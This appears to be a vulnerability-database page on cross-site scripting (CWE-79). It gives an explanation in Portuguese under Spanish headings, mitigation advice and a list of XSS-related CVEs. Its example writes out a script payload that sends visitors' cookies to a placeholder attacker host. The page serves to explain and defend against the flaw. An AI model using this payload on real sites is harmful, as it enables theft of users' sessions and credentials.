Fallos del tipo CWE-79

30.300 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-47392MEDIUMWordPress Element Pack Elementor Addons plugin <= 5.7.5 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2021-33025MEDIUMxArrow SCADA Path TraversalEPSS 0.3%CVE-2024-12112MEDIUMEasy Form Builder <= 3.8.8 - Missing Authorization to Authenticated (Subscriber+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2024-50440MEDIUMWordPress CodePen Embedded Pens Shortcode plugin <= 1.0.2 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-9826HIGHStored cross-site scripting vulnerability in M-Files Hubshare before version 25.8 allows authenticated attackers to cause script execution fEPSS 0.3%CVE-2024-38705MEDIUMWordPress ElementInvader Addons for Elementor plugin <= 1.2.4 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-47357MEDIUMWordPress Happy Addons for Elementor plugin <= 3.12.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-35681MEDIUMWordPress wpDiscuz plugin <= 7.6.18 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-40719MEDIUMReflected Cross-site Scripting (XSS) vulnerability in Quiter GatewayEPSS 0.3%CVE-2024-47364MEDIUMWordPress Move Addons for Elementor plugin <= 1.3.4 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-35707MEDIUMWordPress Heateor Social Login WordPress plugin <= 1.1.32 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-8607MEDIUMmyCred – Points Management System For Gamification, Ranks, Badges, and Loyalty Rewards Program <= 3.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'wrap' Shortcode AttributeEPSS 0.3%CVE-2024-45457MEDIUMWordPress Spiffy Calendar plugin <= 4.9.13 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-35639MEDIUMWordPress Simple Spoiler plugin <= 1.2 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-60454MEDIUMA stored Cross-Site Scripting (XSS) vulnerability has been discovered in MetInfo CMS version 8.0. The vulnerability exists in the image manaEPSS 0.3%CVE-2024-43329MEDIUMWordPress Allegiant theme <= 1.2.7 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-53441MEDIUMJenkins 2.483 through 2.567 (both inclusive), LTS 2.492.1 through 2.555.2 (both inclusive) does not escape the user-provided description of EPSS 0.3%CVE-2025-60453MEDIUMA stored Cross-Site Scripting (XSS) vulnerability has been discovered in MetInfo CMS version 8.0. The vulnerability exists in the column manEPSS 0.3%CVE-2026-2481MEDIUMBeaver Builder Page Builder – Drag and Drop Website Builder <= 2.10.1.1 - Authenticated (Author+) Stored Cross-Site Scripting via 'settings[js]'EPSS 0.3%CVE-2026-6740MEDIUMNexter Blocks <= 4.7.4 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'commentIcon' Block AttributeEPSS 0.3%